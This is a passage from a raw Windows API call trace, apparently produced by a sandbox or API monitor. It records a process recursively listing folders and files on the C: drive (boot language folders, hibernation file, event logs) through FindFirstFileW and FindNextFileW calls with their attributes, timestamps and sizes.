lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.074] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0135.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0135.075] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0135.075] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.075] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0135.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0135.075] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0135.075] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.075] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0135.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.075] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0135.076] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0135.076] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.076] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0135.076] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0135.076] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0135.076] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.076] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0135.076] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.076] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0135.076] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0135.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0135.078] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0135.078] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0135.078] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0135.078] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0135.078] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="\x62e8\x5e\x16")) returned 0xffffffff [0135.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.236] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0135.236] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69ae48 [0135.634] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0135.634] FindClose (in: hFindFile=0x69ae48 | out: hFindFile=0x69ae48) returned 1 [0135.634] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0135.634] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0135.876] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0135.916] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, 